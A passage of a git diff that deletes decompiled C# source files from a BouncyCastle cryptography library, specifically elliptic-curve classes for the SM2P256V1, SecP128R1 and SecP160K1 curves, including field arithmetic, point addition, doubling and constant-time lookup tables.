(Nat256.IsZero(array9)) - { - if (Nat256.IsZero(array10)) - { - return Twice(); - } - return curve.Infinity; - } - uint[] array11 = array3; - SM2P256V1Field.Square(array9, array11); - uint[] array12 = Nat256.Create(); - SM2P256V1Field.Multiply(array11, array9, array12); - uint[] array13 = array3; - SM2P256V1Field.Multiply(array11, array7, array13); - SM2P256V1Field.Negate(array12, array12); - Nat256.Mul(array8, array12, array); - uint x = Nat256.AddBothTo(array13, array13, array12); - SM2P256V1Field.Reduce32(x, array12); - SM2P256V1FieldElement sM2P256V1FieldElement7 = new SM2P256V1FieldElement(array4); - SM2P256V1Field.Square(array10, sM2P256V1FieldElement7.x); - SM2P256V1Field.Subtract(sM2P256V1FieldElement7.x, array12, sM2P256V1FieldElement7.x); - SM2P256V1FieldElement sM2P256V1FieldElement8 = new SM2P256V1FieldElement(array12); - SM2P256V1Field.Subtract(array13, sM2P256V1FieldElement7.x, sM2P256V1FieldElement8.x); - SM2P256V1Field.MultiplyAddToExt(sM2P256V1FieldElement8.x, array10, array); - SM2P256V1Field.Reduce(array, sM2P256V1FieldElement8.x); - SM2P256V1FieldElement sM2P256V1FieldElement9 = new SM2P256V1FieldElement(array9); - if (!isOne) - { - SM2P256V1Field.Multiply(sM2P256V1FieldElement9.x, sM2P256V1FieldElement5.x, sM2P256V1FieldElement9.x); - } - if (!isOne2) - { - SM2P256V1Field.Multiply(sM2P256V1FieldElement9.x, sM2P256V1FieldElement6.x, sM2P256V1FieldElement9.x); - } - ECFieldElement[] zs = new ECFieldElement[1] { sM2P256V1FieldElement9 }; - return new SM2P256V1Point(curve, sM2P256V1FieldElement7, sM2P256V1FieldElement8, zs, base.IsCompressed); - } - - public override ECPoint Twice() - { - if (base.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - SM2P256V1FieldElement sM2P256V1FieldElement = (SM2P256V1FieldElement)base.RawYCoord; - if (sM2P256V1FieldElement.IsZero) - { - return curve.Infinity; - } - SM2P256V1FieldElement sM2P256V1FieldElement2 = (SM2P256V1FieldElement)base.RawXCoord; - SM2P256V1FieldElement sM2P256V1FieldElement3 = (SM2P256V1FieldElement)base.RawZCoords[0]; - uint[] array = Nat256.Create(); - uint[] array2 = Nat256.Create(); - uint[] array3 = Nat256.Create(); - SM2P256V1Field.Square(sM2P256V1FieldElement.x, array3); - uint[] array4 = Nat256.Create(); - SM2P256V1Field.Square(array3, array4); - bool isOne = sM2P256V1FieldElement3.IsOne; - uint[] array5 = sM2P256V1FieldElement3.x; - if (!isOne) - { - array5 = array2; - SM2P256V1Field.Square(sM2P256V1FieldElement3.x, array5); - } - SM2P256V1Field.Subtract(sM2P256V1FieldElement2.x, array5, array); - uint[] array6 = array2; - SM2P256V1Field.Add(sM2P256V1FieldElement2.x, array5, array6); - SM2P256V1Field.Multiply(array6, array, array6); - uint x = Nat256.AddBothTo(array6, array6, array6); - SM2P256V1Field.Reduce32(x, array6); - uint[] array7 = array3; - SM2P256V1Field.Multiply(array3, sM2P256V1FieldElement2.x, array7); - x = Nat.ShiftUpBits(8, array7, 2, 0u); - SM2P256V1Field.Reduce32(x, array7); - x = Nat.ShiftUpBits(8, array4, 3, 0u, array); - SM2P256V1Field.Reduce32(x, array); - SM2P256V1FieldElement sM2P256V1FieldElement4 = new SM2P256V1FieldElement(array4); - SM2P256V1Field.Square(array6, sM2P256V1FieldElement4.x); - SM2P256V1Field.Subtract(sM2P256V1FieldElement4.x, array7, sM2P256V1FieldElement4.x); - SM2P256V1Field.Subtract(sM2P256V1FieldElement4.x, array7, sM2P256V1FieldElement4.x); - SM2P256V1FieldElement sM2P256V1FieldElement5 = new SM2P256V1FieldElement(array7); - SM2P256V1Field.Subtract(array7, sM2P256V1FieldElement4.x, sM2P256V1FieldElement5.x); - SM2P256V1Field.Multiply(sM2P256V1FieldElement5.x, array6, sM2P256V1FieldElement5.x); - SM2P256V1Field.Subtract(sM2P256V1FieldElement5.x, array, sM2P256V1FieldElement5.x); - SM2P256V1FieldElement sM2P256V1FieldElement6 = new SM2P256V1FieldElement(array6); - SM2P256V1Field.Twice(sM2P256V1FieldElement.x, sM2P256V1FieldElement6.x); - if (!isOne) - { - SM2P256V1Field.Multiply(sM2P256V1FieldElement6.x, sM2P256V1FieldElement3.x, sM2P256V1FieldElement6.x); - } - return new SM2P256V1Point(curve, sM2P256V1FieldElement4, sM2P256V1FieldElement5, new ECFieldElement[1] { sM2P256V1FieldElement6 }, base.IsCompressed); - } - - public override ECPoint TwicePlus(ECPoint b) - { - if (this == b) - { - return ThreeTimes(); - } - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return Twice(); - } - ECFieldElement rawYCoord = base.RawYCoord; - if (rawYCoord.IsZero) - { - return b; - } - return Twice().Add(b); - } - - public override ECPoint ThreeTimes() - { - if (base.IsInfinity || base.RawYCoord.IsZero) - { - return this; - } - return Twice().Add(this); - } - - public override ECPoint Negate() - { - if (base.IsInfinity) - { - return this; - } - return new SM2P256V1Point(Curve, base.RawXCoord, base.RawYCoord.Negate(), base.RawZCoords, base.IsCompressed); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP128R1Curve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP128R1Curve.cs deleted file mode 100644 index ed1ff27..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP128R1Curve.cs +++ /dev/null @@ -1,119 +0,0 @@ -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP128R1Curve : AbstractFpCurve -{ - private class SecP128R1LookupTable : ECLookupTable - { - private readonly SecP128R1Curve m_outer; - - private readonly uint[] m_table; - - private readonly int m_size; - - public virtual int Size => m_size; - - internal SecP128R1LookupTable(SecP128R1Curve outer, uint[] table, int size) - { - m_outer = outer; - m_table = table; - m_size = size; - } - - public virtual ECPoint Lookup(int index) - { - uint[] array = Nat128.Create(); - uint[] array2 = Nat128.Create(); - int num = 0; - for (int i = 0; i < m_size; i++) - { - uint num2 = (uint)((i ^ index) - 1 >> 31); - for (int j = 0; j < 4; j++) - { - uint[] array4; - uint[] array3 = (array4 = array); - int num3 = j; - nint num4 = num3; - array3[num3] = array4[num4] ^ (m_table[num + j] & num2); - uint[] array5 = (array4 = array2); - int num5 = j; - num4 = num5; - array5[num5] = array4[num4] ^ (m_table[num + 4 + j] & num2); - } - num += 8; - } - return m_outer.CreateRawPoint(new SecP128R1FieldElement(array), new SecP128R1FieldElement(array2), withCompression: false); - } - } - - private const int SECP128R1_DEFAULT_COORDS = 2; - - private const int SECP128R1_FE_INTS = 4; - - public static readonly BigInteger q = new BigInteger(1, Hex.Decode("FFFFFFFDFFFFFFFFFFFFFFFFFFFFFFFF")); - - protected readonly SecP128R1Point m_infinity; - - public virtual BigInteger Q => q; - - public override ECPoint Infinity => m_infinity; - - public override int FieldSize => q.BitLength; - - public SecP128R1Curve() - : base(q) - { - m_infinity = new SecP128R1Point(this, null, null); - m_a = FromBigInteger(new BigInteger(1, Hex.Decode("FFFFFFFDFFFFFFFFFFFFFFFFFFFFFFFC"))); - m_b = FromBigInteger(new BigInteger(1, Hex.Decode("E87579C11079F43DD824993C2CEE5ED3"))); - m_order = new BigInteger(1, Hex.Decode("FFFFFFFE0000000075A30D1B9038A115")); - m_cofactor = BigInteger.One; - m_coord = 2; - } - - protected override ECCurve CloneCurve() - { - return new SecP128R1Curve(); - } - - public override bool SupportsCoordinateSystem(int coord) - { - if (coord == 2) - { - return true; - } - return false; - } - - public override ECFieldElement FromBigInteger(BigInteger x) - { - return new SecP128R1FieldElement(x); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, bool withCompression) - { - return new SecP128R1Point(this, x, y, withCompression); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - { - return new SecP128R1Point(this, x, y, zs, withCompression); - } - - public override ECLookupTable CreateCacheSafeLookupTable(ECPoint[] points, int off, int len) - { - uint[] array = new uint[len * 4 * 2]; - int num = 0; - for (int i = 0; i < len; i++) - { - ECPoint eCPoint = points[off + i]; - Nat128.Copy(((SecP128R1FieldElement)eCPoint.RawXCoord).x, 0, array, num); - num += 4; - Nat128.Copy(((SecP128R1FieldElement)eCPoint.RawYCoord).x, 0, array, num); - num += 4; - } - return new SecP128R1LookupTable(this, array, len); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP128R1Field.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP128R1Field.cs deleted file mode 100644 index 7814ec4..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP128R1Field.cs +++ /dev/null @@ -1,219 +0,0 @@ -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP128R1Field -{ - private const uint P3 = 4294967293u; - - private const uint PExt7 = 4294967292u; - - internal static readonly uint[] P = new uint[4] { 4294967295u, 4294967295u, 4294967295u, 4294967293u }; - - internal static readonly uint[] PExt = new uint[8] { 1u, 0u, 0u, 4u, 4294967294u, 4294967295u, 3u, 4294967292u }; - - private static readonly uint[] PExtInv = new uint[8] { 4294967295u, 4294967295u, 4294967295u, 4294967291u, 1u, 0u, 4294967292u, 3u }; - - public static void Add(uint[] x, uint[] y, uint[] z) - { - if (Nat128.Add(x, y, z) != 0 || (z[3] >= 4294967293u && Nat128.Gte(z, P))) - { - AddPInvTo(z); - } - } - - public static void AddExt(uint[] xx, uint[] yy, uint[] zz) - { - if (Nat256.Add(xx, yy, zz) != 0 || (zz[7] >= 4294967292u && Nat256.Gte(zz, PExt))) - { - Nat.AddTo(PExtInv.Length, PExtInv, zz); - } - } - - public static void AddOne(uint[] x, uint[] z) - { - if (Nat.Inc(4, x, z) != 0 || (z[3] >= 4294967293u && Nat128.Gte(z, P))) - { - AddPInvTo(z); - } - } - - public static uint[] FromBigInteger(BigInteger x) - { - uint[] array = Nat128.FromBigInteger(x); - if (array[3] >= 4294967293u && Nat128.Gte(array, P)) - { - Nat128.SubFrom(P, array); - } - return array; - } - - public static void Half(uint[] x, uint[] z) - { - if ((x[0] & 1) == 0) - { - Nat.ShiftDownBit(4, x, 0u, z); - return; - } - uint c = Nat128.Add(x, P, z); - Nat.ShiftDownBit(4, z, c); - } - - public static void Multiply(uint[] x, uint[] y, uint[] z) - { - uint[] array = Nat128.CreateExt(); - Nat128.Mul(x, y, array); - Reduce(array, z); - } - - public static void MultiplyAddToExt(uint[] x, uint[] y, uint[] zz) - { - if (Nat128.MulAddTo(x, y, zz) != 0 || (zz[7] >= 4294967292u && Nat256.Gte(zz, PExt))) - { - Nat.AddTo(PExtInv.Length, PExtInv, zz); - } - } - - public static void Negate(uint[] x, uint[] z) - { - if (Nat128.IsZero(x)) - { - Nat128.Zero(z); - } - else - { - Nat128.Sub(P, x, z); - } - } - - public static void Reduce(uint[] xx, uint[] z) - { - ulong num = xx[0]; - ulong num2 = xx[1]; - ulong num3 = xx[2]; - ulong num4 = xx[3]; - ulong num5 = xx[4]; - ulong num6 = xx[5]; - ulong num7 = xx[6]; - ulong num8 = xx[7]; - num4 += num8; - num7 += num8 << 1; - num3 += num7; - num6 += num7 << 1; - num2 += num6; - num5 += num6 << 1; - num += num5; - num4 += num5 << 1; - z[0] = (uint)num; - num2 += num >> 32; - z[1] = (uint)num2; - num3 += num2 >> 32; - z[2] = (uint)num3; - num4 += num3 >> 32; - z[3] = (uint)num4; - Reduce32((uint)(num4 >> 32), z); - } - - public static void Reduce32(uint x, uint[] z) - { - while (x != 0) - { - ulong num = x; - ulong num2 = z[0] + num; - z[0] = (uint)num2; - num2 >>= 32; - if (num2 != 0) - { - num2 += z[1]; - z[1] = (uint)num2; - num2 >>= 32; - num2 += z[2]; - z[2] = (uint)num2; - num2 >>= 32; - } - num2 += z[3] + (num << 1); - z[3] = (uint)num2; - num2 >>= 32; - x = (uint)num2; - } - } - - public static void Square(uint[] x, uint[] z) - { - uint[] array = Nat128.CreateExt(); - Nat128.Square(x, array); - Reduce(array, z); - } - - public static void SquareN(uint[] x, int n, uint[] z) - { - uint[] array = Nat128.CreateExt(); - Nat128.Square(x, array); - Reduce(array, z); - while (--n > 0) - { - Nat128.Square(z, array); - Reduce(array, z); - } - } - - public static void Subtract(uint[] x, uint[] y, uint[] z) - { - if (Nat128.Sub(x, y, z) != 0) - { - SubPInvFrom(z); - } - } - - public static void SubtractExt(uint[] xx, uint[] yy, uint[] zz) - { - if (Nat.Sub(10, xx, yy, zz) != 0) - { - Nat.SubFrom(PExtInv.Length, PExtInv, zz); - } - } - - public static void Twice(uint[] x, uint[] z) - { - if (Nat.ShiftUpBit(4, x, 0u, z) != 0 || (z[3] >= 4294967293u && Nat128.Gte(z, P))) - { - AddPInvTo(z); - } - } - - private static void AddPInvTo(uint[] z) - { - long num = (long)z[0] + 1L; - z[0] = (uint)num; - num >>= 32; - if (num != 0) - { - num += z[1]; - z[1] = (uint)num; - num >>= 32; - num += z[2]; - z[2] = (uint)num; - num >>= 32; - } - num += (long)z[3] + 2L; - z[3] = (uint)num; - } - - private static void SubPInvFrom(uint[] z) - { - long num = (long)z[0] - 1L; - z[0] = (uint)num; - num >>= 32; - if (num != 0) - { - num += z[1]; - z[1] = (uint)num; - num >>= 32; - num += z[2]; - z[2] = (uint)num; - num >>= 32; - } - num += (long)z[3] - 2L; - z[3] = (uint)num; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP128R1FieldElement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP128R1FieldElement.cs deleted file mode 100644 index f9dfe2b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP128R1FieldElement.cs +++ /dev/null @@ -1,173 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP128R1FieldElement : AbstractFpFieldElement -{ - public static readonly BigInteger Q = SecP128R1Curve.q; - - protected internal readonly uint[] x; - - public override bool IsZero => Nat128.IsZero(x); - - public override bool IsOne => Nat128.IsOne(x); - - public override string FieldName => "SecP128R1Field"; - - public override int FieldSize => Q.BitLength; - - public SecP128R1FieldElement(BigInteger x) - { - if (x == null || x.SignValue < 0 || x.CompareTo(Q) >= 0) - { - throw new ArgumentException("value invalid for SecP128R1FieldElement", "x"); - } - this.x = SecP128R1Field.FromBigInteger(x); - } - - public SecP128R1FieldElement() - { - x = Nat128.Create(); - } - - protected internal SecP128R1FieldElement(uint[] x) - { - this.x = x; - } - - public override bool TestBitZero() - { - return Nat128.GetBit(x, 0) == 1; - } - - public override BigInteger ToBigInteger() - { - return Nat128.ToBigInteger(x); - } - - public override ECFieldElement Add(ECFieldElement b) - { - uint[] z = Nat128.Create(); - SecP128R1Field.Add(x, ((SecP128R1FieldElement)b).x, z); - return new SecP128R1FieldElement(z); - } - - public override ECFieldElement AddOne() - { - uint[] z = Nat128.Create(); - SecP128R1Field.AddOne(x, z); - return new SecP128R1FieldElement(z); - } - - public override ECFieldElement Subtract(ECFieldElement b) - { - uint[] z = Nat128.Create(); - SecP128R1Field.Subtract(x, ((SecP128R1FieldElement)b).x, z); - return new SecP128R1FieldElement(z); - } - - public override ECFieldElement Multiply(ECFieldElement b) - { - uint[] z = Nat128.Create(); - SecP128R1Field.Multiply(x, ((SecP128R1FieldElement)b).x, z); - return new SecP128R1FieldElement(z); - } - - public override ECFieldElement Divide(ECFieldElement b) - { - uint[] z = Nat128.Create(); - Mod.Invert(SecP128R1Field.P, ((SecP128R1FieldElement)b).x, z); - SecP128R1Field.Multiply(z, x, z); - return new SecP128R1FieldElement(z); - } - - public override ECFieldElement Negate() - { - uint[] z = Nat128.Create(); - SecP128R1Field.Negate(x, z); - return new SecP128R1FieldElement(z); - } - - public override ECFieldElement Square() - { - uint[] z = Nat128.Create(); - SecP128R1Field.Square(x, z); - return new SecP128R1FieldElement(z); - } - - public override ECFieldElement Invert() - { - uint[] z = Nat128.Create(); - Mod.Invert(SecP128R1Field.P, x, z); - return new SecP128R1FieldElement(z); - } - - public override ECFieldElement Sqrt() - { - uint[] y = x; - if (Nat128.IsZero(y) || Nat128.IsOne(y)) - { - return this; - } - uint[] array = Nat128.Create(); - SecP128R1Field.Square(y, array); - SecP128R1Field.Multiply(array, y, array); - uint[] array2 = Nat128.Create(); - SecP128R1Field.SquareN(array, 2, array2); - SecP128R1Field.Multiply(array2, array, array2); - uint[] array3 = Nat128.Create(); - SecP128R1Field.SquareN(array2, 4, array3); - SecP128R1Field.Multiply(array3, array2, array3); - uint[] array4 = array2; - SecP128R1Field.SquareN(array3, 2, array4); - SecP128R1Field.Multiply(array4, array, array4); - uint[] z = array; - SecP128R1Field.SquareN(array4, 10, z); - SecP128R1Field.Multiply(z, array4, z); - uint[] array5 = array3; - SecP128R1Field.SquareN(z, 10, array5); - SecP128R1Field.Multiply(array5, array4, array5); - uint[] array6 = array4; - SecP128R1Field.Square(array5, array6); - SecP128R1Field.Multiply(array6, y, array6); - uint[] z2 = array6; - SecP128R1Field.SquareN(z2, 95, z2); - uint[] array7 = array5; - SecP128R1Field.Square(z2, array7); - if (!Nat128.Eq(y, array7)) - { - return null; - } - return new SecP128R1FieldElement(z2); - } - - public override bool Equals(object obj) - { - return Equals(obj as SecP128R1FieldElement); - } - - public override bool Equals(ECFieldElement other) - { - return Equals(other as SecP128R1FieldElement); - } - - public virtual bool Equals(SecP128R1FieldElement other) - { - if (this == other) - { - return true; - } - if (other == null) - { - return false; - } - return Nat128.Eq(x, other.x); - } - - public override int GetHashCode() - { - return Q.GetHashCode() ^ Arrays.GetHashCode(x, 0, 4); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP128R1Point.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP128R1Point.cs deleted file mode 100644 index d481f1d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP128R1Point.cs +++ /dev/null @@ -1,228 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP128R1Point : AbstractFpPoint -{ - public SecP128R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y) - : this(curve, x, y, withCompression: false) - { - } - - public SecP128R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : base(curve, x, y, withCompression) - { - if (x == null != (y == null)) - { - throw new ArgumentException("Exactly one of the field elements is null"); - } - } - - internal SecP128R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - : base(curve, x, y, zs, withCompression) - { - } - - protected override ECPoint Detach() - { - return new SecP128R1Point(null, AffineXCoord, AffineYCoord); - } - - public override ECPoint Add(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return this; - } - if (this == b) - { - return Twice(); - } - ECCurve curve = Curve; - SecP128R1FieldElement secP128R1FieldElement = (SecP128R1FieldElement)base.RawXCoord; - SecP128R1FieldElement secP128R1FieldElement2 = (SecP128R1FieldElement)base.RawYCoord; - SecP128R1FieldElement secP128R1FieldElement3 = (SecP128R1FieldElement)b.RawXCoord; - SecP128R1FieldElement secP128R1FieldElement4 = (SecP128R1FieldElement)b.RawYCoord; - SecP128R1FieldElement secP128R1FieldElement5 = (SecP128R1FieldElement)base.RawZCoords[0]; - SecP128R1FieldElement secP128R1FieldElement6 = (SecP128R1FieldElement)b.RawZCoords[0]; - uint[] array = Nat128.CreateExt(); - uint[] array2 = Nat128.Create(); - uint[] array3 = Nat128.Create(); - uint[] array4 = Nat128.Create(); - bool isOne = secP128R1FieldElement5.IsOne; - uint[] array5; - uint[] array6; - if (isOne) - { - array5 = secP128R1FieldElement3.x; - array6 = secP128R1FieldElement4.x; - } - else - { - array6 = array3; - SecP128R1Field.Square(secP128R1FieldElement5.x, array6); - array5 = array2; - SecP128R1Field.Multiply(array6, secP128R1FieldElement3.x, array5); - SecP128R1Field.Multiply(array6, secP128R1FieldElement5.x, array6); - SecP128R1Field.Multiply(array6, secP128R1FieldElement4.x, array6); - } - bool isOne2 = secP128R1FieldElement6.IsOne; - uint[] array7; - uint[] array8; - if (isOne2) - { - array7 = secP128R1FieldElement.x; - array8 = secP128R1FieldElement2.x; - } - else - { - array8 = array4; - SecP128R1Field.Square(secP128R1FieldElement6.x, array8); - array7 = array; - SecP128R1Field.Multiply(array8, secP128R1FieldElement.x, array7); - SecP128R1Field.Multiply(array8, secP128R1FieldElement6.x, array8); - SecP128R1Field.Multiply(array8, secP128R1FieldElement2.x, array8); - } - uint[] array9 = Nat128.Create(); - SecP128R1Field.Subtract(array7, array5, array9); - uint[] array10 = array2; - SecP128R1Field.Subtract(array8, array6, array10); - if (Nat128.IsZero(array9)) - { - if (Nat128.IsZero(array10)) - { - return Twice(); - } - return curve.Infinity; - } - uint[] array11 = array3; - SecP128R1Field.Square(array9, array11); - uint[] array12 = Nat128.Create(); - SecP128R1Field.Multiply(array11, array9, array12); - uint[] array13 = array3; - SecP128R1Field.Multiply(array11, array7, array13); - SecP128R1Field.Negate(array12, array12); - Nat128.Mul(array8, array12, array); - uint x = Nat128.AddBothTo(array13, array13, array12); - SecP128R1Field.Reduce32(x, array12); - SecP128R1FieldElement secP128R1FieldElement7 = new SecP128R1FieldElement(array4); - SecP128R1Field.Square(array10, secP128R1FieldElement7.x); - SecP128R1Field.Subtract(secP128R1FieldElement7.x, array12, secP128R1FieldElement7.x); - SecP128R1FieldElement secP128R1FieldElement8 = new SecP128R1FieldElement(array12); - SecP128R1Field.Subtract(array13, secP128R1FieldElement7.x, secP128R1FieldElement8.x); - SecP128R1Field.MultiplyAddToExt(secP128R1FieldElement8.x, array10, array); - SecP128R1Field.Reduce(array, secP128R1FieldElement8.x); - SecP128R1FieldElement secP128R1FieldElement9 = new SecP128R1FieldElement(array9); - if (!isOne) - { - SecP128R1Field.Multiply(secP128R1FieldElement9.x, secP128R1FieldElement5.x, secP128R1FieldElement9.x); - } - if (!isOne2) - { - SecP128R1Field.Multiply(secP128R1FieldElement9.x, secP128R1FieldElement6.x, secP128R1FieldElement9.x); - } - ECFieldElement[] zs = new ECFieldElement[1] { secP128R1FieldElement9 }; - return new SecP128R1Point(curve, secP128R1FieldElement7, secP128R1FieldElement8, zs, base.IsCompressed); - } - - public override ECPoint Twice() - { - if (base.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - SecP128R1FieldElement secP128R1FieldElement = (SecP128R1FieldElement)base.RawYCoord; - if (secP128R1FieldElement.IsZero) - { - return curve.Infinity; - } - SecP128R1FieldElement secP128R1FieldElement2 = (SecP128R1FieldElement)base.RawXCoord; - SecP128R1FieldElement secP128R1FieldElement3 = (SecP128R1FieldElement)base.RawZCoords[0]; - uint[] array = Nat128.Create(); - uint[] array2 = Nat128.Create(); - uint[] array3 = Nat128.Create(); - SecP128R1Field.Square(secP128R1FieldElement.x, array3); - uint[] array4 = Nat128.Create(); - SecP128R1Field.Square(array3, array4); - bool isOne = secP128R1FieldElement3.IsOne; - uint[] array5 = secP128R1FieldElement3.x; - if (!isOne) - { - array5 = array2; - SecP128R1Field.Square(secP128R1FieldElement3.x, array5); - } - SecP128R1Field.Subtract(secP128R1FieldElement2.x, array5, array); - uint[] array6 = array2; - SecP128R1Field.Add(secP128R1FieldElement2.x, array5, array6); - SecP128R1Field.Multiply(array6, array, array6); - uint x = Nat128.AddBothTo(array6, array6, array6); - SecP128R1Field.Reduce32(x, array6); - uint[] array7 = array3; - SecP128R1Field.Multiply(array3, secP128R1FieldElement2.x, array7); - x = Nat.ShiftUpBits(4, array7, 2, 0u); - SecP128R1Field.Reduce32(x, array7); - x = Nat.ShiftUpBits(4, array4, 3, 0u, array); - SecP128R1Field.Reduce32(x, array); - SecP128R1FieldElement secP128R1FieldElement4 = new SecP128R1FieldElement(array4); - SecP128R1Field.Square(array6, secP128R1FieldElement4.x); - SecP128R1Field.Subtract(secP128R1FieldElement4.x, array7, secP128R1FieldElement4.x); - SecP128R1Field.Subtract(secP128R1FieldElement4.x, array7, secP128R1FieldElement4.x); - SecP128R1FieldElement secP128R1FieldElement5 = new SecP128R1FieldElement(array7); - SecP128R1Field.Subtract(array7, secP128R1FieldElement4.x, secP128R1FieldElement5.x); - SecP128R1Field.Multiply(secP128R1FieldElement5.x, array6, secP128R1FieldElement5.x); - SecP128R1Field.Subtract(secP128R1FieldElement5.x, array, secP128R1FieldElement5.x); - SecP128R1FieldElement secP128R1FieldElement6 = new SecP128R1FieldElement(array6); - SecP128R1Field.Twice(secP128R1FieldElement.x, secP128R1FieldElement6.x); - if (!isOne) - { - SecP128R1Field.Multiply(secP128R1FieldElement6.x, secP128R1FieldElement3.x, secP128R1FieldElement6.x); - } - return new SecP128R1Point(curve, secP128R1FieldElement4, secP128R1FieldElement5, new ECFieldElement[1] { secP128R1FieldElement6 }, base.IsCompressed); - } - - public override ECPoint TwicePlus(ECPoint b) - { - if (this == b) - { - return ThreeTimes(); - } - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return Twice(); - } - ECFieldElement rawYCoord = base.RawYCoord; - if (rawYCoord.IsZero) - { - return b; - } - return Twice().Add(b); - } - - public override ECPoint ThreeTimes() - { - if (base.IsInfinity || base.RawYCoord.IsZero) - { - return this; - } - return Twice().Add(this); - } - - public override ECPoint Negate() - { - if (base.IsInfinity) - { - return this; - } - return new SecP128R1Point(Curve, base.RawXCoord, base.RawYCoord.Negate(), base.RawZCoords, base.IsCompressed); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP160K1Curve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP160K1Curve.cs deleted file mode 100644 index 980b485..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP160K1Curve.cs +++ /dev/null @@ -1,119 +0,0 @@ -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecP160K1Curve : AbstractFpCurve -{ - private class SecP160K1LookupTable : ECLookupTable - { - private readonly SecP160K1Curve m_outer; - - private readonly uint[] m_table; - - private readonly int m_size; - - public virtual int Size => m_size; - - internal SecP160K1LookupTable(SecP160K1Curve outer, uint[] table, int size) - { - m_outer = outer; - m_table = table; - m_size = size; - } - - public virtual ECPoint Lookup(int index) - { - uint[] array = Nat256.Create(); - uint[] array2 = Nat256.Create(); - int num = 0; - for (int i = 0; i < m_size; i++) - { - uint num2 = (uint)((i ^ index) - 1 >> 31); - for (int j = 0; j < 5; j++) - { - uint[] array4; - uint[] array3 = (array4 = array); - int num3 = j; - nint num4 = num3; - array3[num3] = array4[num4] ^ (m_table[num + j] & num2); - uint[] array5 = (array4 = array2); - int num5 = j; - num4 = num5; - array5[num5] = array4[num4] ^ (m_table[num + 5 + j] & num2); - } - num += 10; - } - return m_outer.CreateRawPoint(new SecP160R2FieldElement(array), new SecP160R2FieldElement(array2), withCompression: false); - } - } - - private const int SECP160K1_DEFAULT_COORDS = 2; - - private const int SECP160K1_FE_INTS = 5; - - public static readonly BigInteger q = SecP160R2Curve.q; - - protected readonly SecP160K1Point m_infinity; - - public virtual BigInteger Q => q; - - public override ECPoint Infinity => m_infinity; - - public override int FieldSize => q.BitLength; - - public SecP160K1Curve() - : base(q) - { - m_infinity = new SecP160K1Point(this, null, null); - m_a = FromBigInteger(BigInteger.Zero); - m_b = FromBigInteger(BigInteger.ValueOf(7L)); - m_order = new BigInteger(1, Hex.Decode("0100000000000000000001B8FA16DFAB9ACA16B6B3")); - m_cofactor = BigInteger.One; - m_coord = 2; - } - - protected override ECCurve CloneCurve() - { - return new SecP160K1Curve(); - } - - public override bool SupportsCoordinateSystem(int coord) - { - if (coord == 2) - { - return true; - } - return false; - } - - public override ECFieldElement FromBigInteger(BigInteger x) - { - return new SecP160R2FieldElement(x); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, bool withCompression) - { - return new SecP160K1Point(this, x, y, withCompression); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - { - return new SecP160K1Point(this, x, y, zs, withCompression); - } - - public override ECLookupTable CreateCacheSafeLookupTable(ECPoint[] points, int off, int len) - { - uint[] array = new uint[len * 5 * 2]; - int num = 0; - for (int i = 0; i < len; i++) - { - ECPoint eCPoint = points[off + i]; - Nat160.Copy(((SecP160R2FieldElement)eCPoint.RawXCoord).x, 0, array, num); - num += 5; - Nat160.Copy(((SecP160R2FieldElement)eCPoint.RawYCoord).x, 0, array, num); - num += 5; - } - return new SecP160K1LookupTable(this, array, len); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP160K1Point.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecP160K1Point.cs deleted file mode 100644 index 25f6af5..0000000 